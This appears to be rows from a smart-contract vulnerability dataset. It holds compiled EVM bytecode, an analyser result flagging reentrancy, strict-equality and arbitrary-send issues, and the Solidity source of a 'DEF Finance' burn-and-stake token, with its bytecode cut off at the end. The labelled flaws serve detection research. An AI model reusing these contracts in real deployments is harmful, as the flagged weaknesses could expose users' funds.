600080fd5b5061017061037b3660046119d5565b6106dd565b34801561038c57600080fd5b506101d261039b36600461188d565b610757565b3480156103ac57600080fd5b506101706103bb366004611910565b610764565b3480156103cc57600080fd5b5061017061087d565b3480156103e157600080fd5b506101706103f03660046119d5565b610934565b34801561040157600080fd5b506101706104103660046119d5565b61097f565b34801561042157600080fd5b506101fa6104303660046119f2565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046757600080fd5b50610170610476366004611a2b565b610bda565b34801561048757600080fd5b506101706104963660046119d5565b610c17565b6000546001600160a01b031633146104ce5760405162461bcd60e51b81526004016104c590611a44565b60405180910390fd5b60006104d930610685565b90506104e481610caf565b50565b60006104f4338484610e29565b5060015b92915050565b600061050b848484610f4d565b61055d843361055885604051806060016040528060288152602001611bbf602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112ca565b610e29565b5060019392505050565b6000546001600160a01b031633146105915760405162461bcd60e51b81526004016104c590611a44565b60005b81518110156105f9576000600560008484815181106105b5576105b5611a79565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f181611aa5565b915050610594565b5050565b6000546001600160a01b031633146106275760405162461bcd60e51b81526004016104c590611a44565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105f9573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f890611304565b6000546001600160a01b031633146106d15760405162461bcd60e51b81526004016104c590611a44565b6106db6000611388565b565b6000546001600160a01b031633146107075760405162461bcd60e51b81526004016104c590611a44565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f4338484610f4d565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016104c590611a44565b60005b81518110156105f957600c5482516001600160a01b03909116908390839081106107bd576107bd611a79565b60200260200101516001600160a01b03161415801561080e5750600b5482516001600160a01b03909116908390839081106107fa576107fa611a79565b60200260200101516001600160a01b031614155b1561086b5760016005600084848151811061082b5761082b611a79565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087581611aa5565b915050610791565b6000546001600160a01b031633146108a75760405162461bcd60e51b81526004016104c590611a44565b600c54600160a01b900460ff1661090b5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c5565b600c805460ff60b81b1916600160b81b17905542600d81905561092f9060b4611ac0565b600e55565b6000546001600160a01b0316331461095e5760405162461bcd60e51b81526004016104c590611a44565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109a95760405162461bcd60e51b81526004016104c590611a44565b600c54600160a01b900460ff1615610a115760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c5565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8c9190611ad8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ad9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610afd9190611ad8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6e9190611ad8565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c045760405162461bcd60e51b81526004016104c590611a44565b600c811115610c1257600080fd5b600855565b6000546001600160a01b03163314610c415760405162461bcd60e51b81526004016104c590611a44565b6001600160a01b038116610ca65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c5565b6104e481611388565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610cf757610cf7611a79565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d749190611ad8565b81600181518110610d8757610d87611a79565b6001600160a01b039283166020918202929092010152600b54610dad9130911684610e29565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610de6908590600090869030904290600401611af5565b600060405180830381600087803b158015610e0057600080fd5b505af1158015610e14573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610e8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c5565b6001600160a01b038216610eec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c5565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fb15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c5565b6001600160a01b0382166110135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c5565b600081116110755760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c5565b6001600160a01b03831660009081526005602052604090205460ff161561109b57600080fd5b6001600160a01b03831660009081526004602052604081205460ff161580156110dd57506001600160a01b03831660009081526004602052604090205460ff16155b80156110f35750600c54600160a81b900460ff16155b80156111235750600c546001600160a01b03858116911614806111235750600c546001600160a01b038481169116145b156112b857600c54600160b81b900460ff1661113e57600080fd5b50600c546001906001600160a01b03858116911614801561116d5750600b546001600160a01b03848116911614155b801561117a575042600e54115b156111c257600061118a84610685565b90506111ab60646111a5683635c9adc5dea0000060026113d8565b90611457565b6111b58483611499565b11156111c057600080fd5b505b600d544214156111f0576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006111fb30610685565b600c54909150600160b01b900460ff161580156112265750600c546001600160a01b03868116911614155b156112b65780156112b657600c5461125a906064906111a590600f90611254906001600160a01b0316610685565b906113d8565b81111561128757600c54611284906064906111a590600f90611254906001600160a01b0316610685565b90505b6000611294826004611457565b90506112a08183611b66565b91506112ab816114f8565b6112b482610caf565b505b505b6112c484848484611528565b50505050565b600081848411156112ee5760405162461bcd60e51b81526004016104c59190611813565b5060006112fb8486611b66565b95945050505050565b600060065482111561136b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c5565b600061137561162b565b90506113818382611457565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826113e7575060006104f8565b60006113f38385611b7d565b9050826114008583611b9c565b146113815760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c5565b600061138183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061164e565b6000806114a68385611ac0565b9050838110156113815760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c5565b600c805460ff60b01b1916600160b01b1790556115183061dead83610f4d565b50600c805460ff60b01b19169055565b80806115365761153661167c565b60008060008061154587611698565b6001600160a01b038d166000908152600160205260409020549397509195509350915061157290856116df565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115a19084611499565b6001600160a01b0389166000908152600160205260409020556115c381611721565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161160891815260200190565b60405180910390a3505050508061162457611624600954600855565b5050505050565b600080600061163861176b565b90925090506116478282611457565b9250505090565b6000818361166f5760405162461bcd60e51b81526004016104c59190611813565b5060006112fb8486611b9c565b60006008541161168b57600080fd5b6008805460095560009055565b6000806000806000806116ad876008546117ad565b9150915060006116bb61162b565b90506000806116cb8a85856117da565b909b909a5094985092965092945050505050565b600061138183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ca565b600061172b61162b565b9050600061173983836113d8565b306000908152600160205260409020549091506117569082611499565b30600090815260016020526040902055505050565b6006546000908190683635c9adc5dea000006117878282611457565b8210156117a457505060065492683635c9adc5dea0000092509050565b90939092509050565b600080806117c060646111a587876113d8565b905060006117ce86836116df565b96919550909350505050565b600080806117e886856113d8565b905060006117f686866113d8565b9050600061180483836116df565b92989297509195505050505050565b600060208083528351808285015260005b8181101561184057858101830151858201604001528201611824565b81811115611852576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e457600080fd5b803561188881611868565b919050565b600080604083850312156118a057600080fd5b82356118ab81611868565b946020939093013593505050565b6000806000606084860312156118ce57600080fd5b83356118d981611868565b925060208401356118e981611868565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561192357600080fd5b823567ffffffffffffffff8082111561193b57600080fd5b818501915085601f83011261194f57600080fd5b813581811115611961576119616118fa565b8060051b604051601f19603f83011681018181108582111715611986576119866118fa565b6040529182528482019250838101850191888311156119a457600080fd5b938501935b828510156119c9576119ba8561187d565b845293850193928501926119a9565b98975050505050505050565b6000602082840312156119e757600080fd5b813561138181611868565b60008060408385031215611a0557600080fd5b8235611a1081611868565b91506020830135611a2081611868565b809150509250929050565b600060208284031215611a3d57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ab957611ab9611a8f565b5060010190565b60008219821115611ad357611ad3611a8f565b500190565b600060208284031215611aea57600080fd5b815161138181611868565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b455784516001600160a01b031683529383019391830191600101611b20565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611b7857611b78611a8f565b500390565b6000816000190483118215151615611b9757611b97611a8f565b500290565b600082611bb957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dc59c856f8d464800f4e05ebb4182cff921331050e411ebcda862f00eaecf1ed64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,007
0x5dabc0ed37d881b1b09707e0a894301adafcd4af
pragma solidity ^0.5.13; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); event NotPausable(); bool public paused = false; bool public canPause = true; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused || msg.sender == owner); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state **/ function pause() onlyOwner whenNotPaused public { require(canPause == true); paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { require(paused == true); paused = false; emit Unpause(); } /** * @dev Prevent the token from ever being paused again **/ function notPausable() onlyOwner public{ paused = false; canPause = false; emit NotPausable(); } } interface Callable { function tokenCallback(address _from, uint256 _tokens, bytes calldata _data) external returns (bool); } contract DefFinance is Pausable { uint256 constant private FLOAT_SCALAR = 2**64; uint256 constant private INITIAL_SUPPLY = 1e25; // 1B uint256 constant private BURN_RATE = 5; // 5% per tx uint256 constant private SUPPLY_FLOOR = 1; // 1% of 1B = 10M uint256 constant private MIN_STAKE_AMOUNT = 1e21; // 1,000 string constant public name = "DEF Finance"; string constant public symbol = "DEF"; uint8 constant public decimals = 18; struct User { bool whitelisted; uint256 balance; uint256 staked; mapping(address => uint256) allowance; int256 scaledPayout; } struct Info { uint256 totalSupply; uint256 totalStaked; mapping(address => User) users; uint256 scaledPayoutPerToken; address admin; } Info private info; event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval(address indexed owner, address indexed spender, uint256 tokens); event Whitelist(address indexed user, bool status); event Stake(address indexed owner, uint256 tokens); event Unstake(address indexed owner, uint256 tokens); event Collect(address indexed owner, uint256 tokens); event Burn(uint256 tokens); constructor() public { info.admin = msg.sender; info.totalSupply = INITIAL_SUPPLY; info.users[msg.sender].balance = INITIAL_SUPPLY; emit Transfer(address(0x0), msg.sender, INITIAL_SUPPLY); whitelist(msg.sender, true); } function stake(uint256 _tokens) external { _stake(_tokens); } function unstake(uint256 _tokens) external { _unstake(_tokens); } function collect() external returns (uint256) { uint256 _dividends = dividendsOf(msg.sender); require(_dividends >= 0); info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR); info.users[msg.sender].balance += _dividends; emit Transfer(address(this), msg.sender, _dividends); emit Collect(msg.sender, _dividends); return _dividends; } function burn(uint256 _tokens) external { require(balanceOf(msg.sender) >= _tokens); info.users[msg.sender].balance -= _tokens; uint256 _burnedAmount = _tokens; if (info.totalStaked > 0) { _burnedAmount /= 2; info.scaledPayoutPerToken += _burnedAmount * FLOAT_SCALAR / info.totalStaked; emit Transfer(msg.sender, address(this), _burnedAmount); } info.totalSupply -= _burnedAmount; emit Transfer(msg.sender, address(0x0), _burnedAmount); emit Burn(_burnedAmount); } function distribute(uint256 _tokens) external { require(info.totalStaked > 0); require(balanceOf(msg.sender) >= _tokens); info.users[msg.sender].balance -= _tokens; info.scaledPayoutPerToken += _tokens * FLOAT_SCALAR / info.totalStaked; emit Transfer(msg.sender, address(this), _tokens); } function transfer(address _to, uint256 _tokens) external whenNotPaused returns (bool) { _transfer(msg.sender, _to, _tokens); return true; } function approve(address _spender, uint256 _tokens) external whenNotPaused returns (bool) { info.users[msg.sender].allowance[_spender] = _tokens; emit Approval(msg.sender, _spender, _tokens); return true; } function transferFrom(address _from, address _to, uint256 _tokens) external whenNotPaused returns (bool) { require(info.users[_from].allowance[msg.sender] >= _tokens); info.users[_from].allowance[msg.sender] -= _tokens; _transfer(_from, _to, _tokens); return true; } function transferAndCall(address _to, uint256 _tokens, bytes calldata _data) external returns (bool) { uint256 _transferred = _transfer(msg.sender, _to, _tokens); uint32 _size; assembly { _size := extcodesize(_to) } if (_size > 0) { require(Callable(_to).tokenCallback(msg.sender, _transferred, _data)); } return true; } function bulkTransfer(address[] calldata _receivers, uint256[] calldata _amounts) external { require(_receivers.length == _amounts.length); for (uint256 i = 0; i < _receivers.length; i++) { _transfer(msg.sender, _receivers[i], _amounts[i]); } } function whitelist(address _user, bool _status) public { require(msg.sender == info.admin); info.users[_user].whitelisted = _status; emit Whitelist(_user, _status); } function totalSupply() public view returns (uint256) { return info.totalSupply; } function totalStaked() public view returns (uint256) { return info.totalStaked; } function balanceOf(address _user) public view returns (uint256) { return info.users[_user].balance - stakedOf(_user); } function stakedOf(address _user) public view returns (uint256) { return info.users[_user].staked; } function dividendsOf(address _user) public view returns (uint256) { return uint256(int256(info.scaledPayoutPerToken * info.users[_user].staked) - info.users[_user].scaledPayout) / FLOAT_SCALAR; } function allowance(address _user, address _spender) public view returns (uint256) { return info.users[_user].allowance[_spender]; } function isWhitelisted(address _user) public view returns (bool) { return info.users[_user].whitelisted; } function allInfoFor(address _user) public view returns (uint256 totalTokenSupply, uint256 totalTokensStaked, uint256 userBalance, uint256 userStaked, uint256 userDividends) { return (totalSupply(), totalStaked(), balanceOf(_user), stakedOf(_user), dividendsOf(_user)); } function _transfer(address _from, address _to, uint256 _tokens) internal returns (uint256) { require(balanceOf(_from) >= _tokens); info.users[_from].balance -= _tokens; uint256 _burnedAmount = _tokens * BURN_RATE / 100; if (totalSupply() - _burnedAmount < INITIAL_SUPPLY * SUPPLY_FLOOR / 100 || isWhitelisted(_from)) { _burnedAmount = 0; } uint256 _transferred = _tokens - _burnedAmount; info.users[_to].balance += _transferred; emit Transfer(_from, _to, _transferred); if (_burnedAmount > 0) { if (info.totalStaked > 0) { _burnedAmount /= 2; info.scaledPayoutPerToken += _burnedAmount * FLOAT_SCALAR / info.totalStaked; emit Transfer(_from, address(this), _burnedAmount); } info.totalSupply -= _burnedAmount; emit Transfer(_from, address(0x0), _burnedAmount); emit Burn(_burnedAmount); } return _transferred; } function _stake(uint256 _amount) internal { require(balanceOf(msg.sender) >= _amount); require(stakedOf(msg.sender) + _amount >= MIN_STAKE_AMOUNT); info.totalStaked += _amount; info.users[msg.sender].staked += _amount; info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken); emit Transfer(msg.sender, address(this), _amount); emit Stake(msg.sender, _amount); } function _unstake(uint256 _amount) internal { require(stakedOf(msg.sender) >= _amount); uint256 _burnedAmount = _amount * BURN_RATE / 100; info.scaledPayoutPerToken += _burnedAmount * FLOAT_SCALAR / info.totalStaked; info.totalStaked -= _amount; info.users[msg.sender].balance -= _burnedAmount; info.users[msg.sender].staked -= _amount; info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken); emit Transfer(address(this), msg.sender, _amount - _burnedAmount); emit Unstake(msg.sender, _amount); } }
0x608060405234801561001057600080fd5b50600436106101d95760003560e01c80635c975abb1161010457806395d89b41116100a2578063dd62ed3e11610071578063dd62ed3e14610965578063e5225381146109dd578063f2fde38b146109fb578063f59c370814610a3f576101d9565b806395d89b41146107f6578063a694fc3a14610879578063a9059cbb146108a7578063af500ba31461090d576101d9565b8063817b1cd2116100de578063817b1cd2146107565780638456cb59146107745780638da5cb5b1461077e57806391c05b0b146107c8576101d9565b80635c975abb146106d257806370a08231146106f4578063715018a61461074c576101d9565b8063313ce5671161017c5780634000aea01161014b5780634000aea01461056b57806342966c68146106265780634be8b05e1461065457806357f6b8121461065e576101d9565b8063313ce567146104bf578063323be1c5146104e35780633af32abf146105055780633f4ba83a14610561576101d9565b8063153a1f3e116101b8578063153a1f3e1461031f57806318160ddd146103ed57806323b872dd1461040b5780632e17de7814610491576101d9565b806265318b146101de57806306fdde0314610236578063095ea7b3146102b9575b600080fd5b610220600480360360208110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a8f565b6040518082815260200191505060405180910390f35b61023e610b3e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027e578082015181840152602081019050610263565b50505050905090810190601f1680156102ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610305600480360360408110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b77565b604051808215151515815260200191505060405180910390f35b6103eb6004803603604081101561033557600080fd5b810190808035906020019064010000000081111561035257600080fd5b82018360208201111561036457600080fd5b8035906020019184602083028401116401000000008311171561038657600080fd5b9091929391929390803590602001906401000000008111156103a757600080fd5b8201836020820111156103b957600080fd5b803590602001918460208302840111640100000000831117156103db57600080fd5b9091929391929390505050610cdf565b005b6103f5610d5c565b6040518082815260200191505060405180910390f35b6104776004803603606081101561042157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d69565b604051808215151515815260200191505060405180910390f35b6104bd600480360360208110156104a757600080fd5b8101908080359060200190929190505050610f11565b005b6104c7610f1d565b604051808260ff1660ff16815260200191505060405180910390f35b6104eb610f22565b604051808215151515815260200191505060405180910390f35b6105476004803603602081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f35565b604051808215151515815260200191505060405180910390f35b610569610f91565b005b61060c6004803603606081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105c857600080fd5b8201836020820111156105da57600080fd5b803590602001918460018302840111640100000000831117156105fc57600080fd5b909192939192939050505061106b565b604051808215151515815260200191505060405180910390f35b6106526004803603602081101561063c57600080fd5b810190808035906020019092919050505061119e565b005b61065c61136a565b005b6106a06004803603602081101561067457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611425565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b6106da61146b565b604051808215151515815260200191505060405180910390f35b6107366004803603602081101561070a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061147e565b6040518082815260200191505060405180910390f35b6107546114d7565b005b61075e6115d7565b6040518082815260200191505060405180910390f35b61077c6115e3565b005b610786611716565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107f4600480360360208110156107de57600080fd5b810190808035906020019092919050505061173b565b005b6107fe611847565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561083e578082015181840152602081019050610823565b50505050905090810190601f16801561086b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108a56004803603602081101561088f57600080fd5b8101908080359060200190929190505050611880565b005b6108f3600480360360408110156108bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061188c565b604051808215151515815260200191505060405180910390f35b61094f6004803603602081101561092357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611914565b6040518082815260200191505060405180910390f35b6109c76004803603604081101561097b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611963565b6040518082815260200191505060405180910390f35b6109e56119f0565b6040518082815260200191505060405180910390f35b610a3d60048036036020811015610a1157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b77565b005b610a8d60048036036040811015610a5557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611cc8565b005b600068010000000000000000600160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154600160020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600160030154020381610b3657fe5b049050919050565b6040518060400160405280600b81526020017f4445462046696e616e636500000000000000000000000000000000000000000081525081565b60008060149054906101000a900460ff161580610be057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610be957600080fd5b81600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b818190508484905014610cf157600080fd5b60008090505b84849050811015610d5557610d4733868684818110610d1257fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff16858585818110610d3b57fe5b90506020020135611dd8565b508080600101915050610cf7565b5050505050565b6000600160000154905090565b60008060149054906101000a900460ff161580610dd257506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ddb57600080fd5b81600160020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e6a57600080fd5b81600160020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610f05848484611dd8565b50600190509392505050565b610f1a816120c2565b50565b601281565b600060159054906101000a900460ff1681565b6000600160020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff169050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fea57600080fd5b600060149054906101000a900460ff1661100357600080fd5b60011515600060149054906101000a900460ff1615151461102357600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600080611079338787611dd8565b90506000863b905060008163ffffffff161115611190578673ffffffffffffffffffffffffffffffffffffffff16636be32e73338488886040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f82011690508083019250505095505050505050602060405180830381600087803b15801561114b57600080fd5b505af115801561115f573d6000803e3d6000fd5b505050506040513d602081101561117557600080fd5b810190808051906020019092919050505061118f57600080fd5b5b600192505050949350505050565b806111a83361147e565b10156111b357600080fd5b80600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254039250508190555060008190506000600180015411156112b6576002818161122257fe5b04905060018001546801000000000000000082028161123d57fe5b046001600301600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b80600160000160008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a37fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb816040518082815260200191505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113c357600080fd5b60008060146101000a81548160ff02191690831515021790555060008060156101000a81548160ff0219169083151502179055507faff39f66825d4448497d384dee3f4a3adf00a622960add00806503ae4ccee01c60405160405180910390a1565b6000806000806000611435610d5c565b61143d6115d7565b6114468861147e565b61144f89611914565b6114588a610a8f565b9450945094509450945091939590929450565b600060149054906101000a900460ff1681565b600061148982611914565b600160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154039050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461153057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006001800154905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461163c57600080fd5b600060149054906101000a900460ff1615806116a457506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6116ad57600080fd5b60011515600060159054906101000a900460ff161515146116cd57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060018001541161174c57600080fd5b806117563361147e565b101561176157600080fd5b80600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825403925050819055506001800154680100000000000000008202816117cc57fe5b046001600301600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b60405180604001604052806003